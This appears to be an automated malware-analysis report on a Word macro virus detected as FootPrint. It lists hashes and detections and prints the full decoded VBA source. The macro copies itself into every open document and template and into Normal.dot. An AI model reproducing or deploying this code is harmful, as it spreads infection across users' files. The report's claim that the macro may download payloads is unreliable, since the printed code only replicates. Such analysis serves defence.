Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f5dfc96b3c6093a…

MALICIOUS

Office (OLE)

45.0 KB Created: 2000-12-14 16:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eb19a7e4166ab4d150420b069c6570e0 SHA-1: 2e6a9aa464f50a000c4631f4918b528fd6a64e7c SHA-256: 9f5dfc96b3c6093a072253057e06ffdb24068db18d8e6205c79b5d2052fc8c95
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is triggered upon opening the file, which then attempts to export the VBA project to 'c:\footprint.$$$' and modify it using content from 'c:\footprint.$$1'. This behavior is indicative of an attempt to establish persistence or download additional payloads, aligning with the FootPrint malware family characteristics.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1956 bytes
SHA-256: 27084c296476fbcbd3399fcacb7acb2a1c496066feabcc846ee8841b3e00300b
Detection
ClamAV: Doc.Trojan.FootPrint-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al, aaa, ttt As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    aaa = adoc.FullName
    If Not adoc.CustomDocumentProperties(aaa) Then
        adoc.CustomDocumentProperties.Add Name:=aaa, LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    ttt = atpl.FullName
    If Not atpl.CustomDocumentProperties(ttt) Then
        atpl.CustomDocumentProperties.Add Name:=ttt, LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub

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